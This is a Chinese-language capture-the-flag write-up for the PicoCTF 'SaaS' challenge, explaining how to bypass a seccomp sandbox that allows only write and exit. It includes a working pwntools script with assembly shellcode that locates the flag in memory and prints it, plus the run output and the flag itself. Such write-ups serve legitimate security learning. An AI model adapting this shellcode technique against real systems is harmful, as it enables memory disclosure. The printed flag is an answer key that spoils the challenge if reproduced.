PicoCTF - SaaS
Background
seccomp-tool
Source code
1 | |
Recon
這題算簡單,很適合新手打shell code,但不知道為啥很少人解,和之前計安的某一題很像但忘記在哪邊了,也有可能是在EOF的時候打的,關於seccomp可以看這篇1
1 | |
- 觀察source code發現有設定seccomp的保護,只開放write和exit,但在輸入之前已經先讀了flag,此時就可以直接想辦法call syswrite把東西印出來就完事了
- 要注意libc的版本,我的local端原本是2.31但不知道為啥變成2.35,所以又花了一點時間用VM才解出來
- 這一題難的地方在於一開始有一串shell code(HEADER),經過online tool2可以知道它就是把stack上和register的東西全部清空,所以如果要找到flag所在的位址就需要撈一下memory,我的做法是直接把memory dump下來,然後string search(記得是little endian),然後用offset算他和rip之間的相對位置
Exploit - seccomp-tools / syswrite
算offset是這一題最煩的地方,以我的例子來說(記憶體區段如下),flag是放在==0x000055e109602060==的地方,我執行shell code的地方是在==0x7fbb78c21000==,所以我先把0x00007f1d391e5000~0x00007f1d39215000的東西dump下來,發現在0x2e590的地方存的是==0x55e109400448==,和原本的0x000055e109602060差了一點,所以我先把後1.5bytes變成0(and operator),然後加上offset(0x202060),在依序把其他必要的register擺好就可以call function了

:::spoiler
1 | |
:::
from pwn import *
# r = process('./chall')
r = remote('mars.picoctf.net', 31021)
context.arch = 'amd64'
r.recvline()
# exe = ELF('./chall')
payload = asm('''
lea rax, [rip-0x52-0x2c000+0x2e9f0]
mov rsi, QWORD PTR [rax]
and rsi, 0xfffffffffffff000
add rsi, 0x202060
mov rdi, 1
mov rdx, 0x40
mov rax, 1
syscall
''')
# raw_input()
r.sendline(payload)
r.interactive()
$ python exp.py
[+] Opening connection to mars.picoctf.net on port 31021: Done
[*] Switching to interactive mode
picoCTF{f0ll0w_th3_m4p_t0_g3t_th3_fl4g}
\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00[*] Got EOF while reading in interactive
Flag: picoCTF{f0ll0w_th3_m4p_t0_g3t_th3_fl4g}